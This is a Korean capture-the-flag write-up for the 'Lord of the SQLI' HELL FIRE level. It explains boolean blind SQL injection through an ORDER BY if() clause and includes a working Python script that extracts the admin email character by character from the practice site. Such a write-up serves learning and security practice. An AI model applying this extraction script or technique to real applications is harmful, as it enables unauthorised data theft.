LOS(The Lord of the SQLI) 23 - HELL FIRE
23번 문제인 HELL FIRE다.
이 문제부터는 쿼리문 위에 뭔가가 새로 추가되며 이전과는 다른 문제처럼 보인다.
문제를 딱 봤을 때 UNION SQL INJECTION이 아닐까 추측했지만,
preg_match 함수를 통해 union 은 필터링되고 있으므로 아닌것 같고..
먼저 order 파라미터에 id를 넣어 보았다.
order=id 를 입력 시 id를 기준으로 정렬이 되며
order=score 를 입력 시 score를 기준으로 정렬이 된다.
그리고 문제를 해결하기 위한 if문을 보았을 때,
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
지금은 *****로 나와있는 admin의 email 주소를 알아내어 파라미터로 입력하면 문제가 해결될것 같다고 생각했으며
이 문제도 Blind SQL Injection 문제가 아닐까 생각하였다.
이 문제를 풀기 위해 생각해낸 방법은
order by절에 if문을 이용해 참,거짓을 통해 Blind SQL Injection을 수행하는것이었다.
조건식이 참일 경우 id를 기준으로 정렬되며
조건식이 거짓일 경우 score를 기준으로 정렬되게 하여 문제를 해결하는 방법이다.
if문에 조건식으로 id='admin' 과 length(email) 을 통해 email의 길이를 알아낸다.
admin의 email 길이는 28이라는 것을 알아냈고
같은 방법으로 ascii 함수와 substr 함수를 이용한
BLIND SQL INJECTION을 통해 email 값을 알아내었다.
import requests
URL = 'https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php' # 자신의 los 4번 문제의 url 주소 수동 입력
cookies ={'PHPSESSID': '3593ffopdjull6qn00mro9kjq5'} # 자신의 los 세션값 수동 입력
ascii_range = []
for i in range(48,123):
ascii_range.append(i)
# 패스워드의 길이를 찾는 함수
def find_len():
email_len = 0
while True:
email_len += 1
# url? 뒤에 추가될 값이 value
value = "if(id='admin' and length(email)={}, 'id', 'score')#".format(email_len)
parms={'order' : value}
response = requests.get(URL, params=parms, cookies=cookies) # URL과 파라미터, 쿠키를 설정한 후 request를 보낸 뒤 돌아오는 response(응답값)를 저장
if "<table border=1><tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td><td>200</td>" in response.text: # 받아온 응답값 텍스트 중 'Subquery returns'이 존재한다면 패스워드 길이 반환
print("길이는", email_len, "입니다.")
break
print("Trying")
return email_len
def find_email():
email_len = find_len()
flag=''
for email_value in range(1,email_len+1):
for ascii in ascii_range: # 아스키 코드값 48 ~ 122 -> 숫자, 알파벳, 특수문자 몇몇
value = "if(id='admin' and ascii(substr(email,{},1))={},'id','score')#".format(email_value,ascii)
parmas = {'order' :value }
response = requests.get(URL, params=parmas, cookies=cookies)
if "<table border=1><tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td><td>200</td>" in response.text:
print("email의",email_value,"번째는",chr(ascii), '입니다.')
flag += chr(ascii)
print("pw는", flag, "입니다.")
find_email()
이번 문제의 스크립트는 이메일 문자열에 특수문자가 포함되어 있기 때문에 아스키 코드 범위를
알파벳, 숫자만 지정하는게 아닌 특수문자까지 포함시켜야 한다.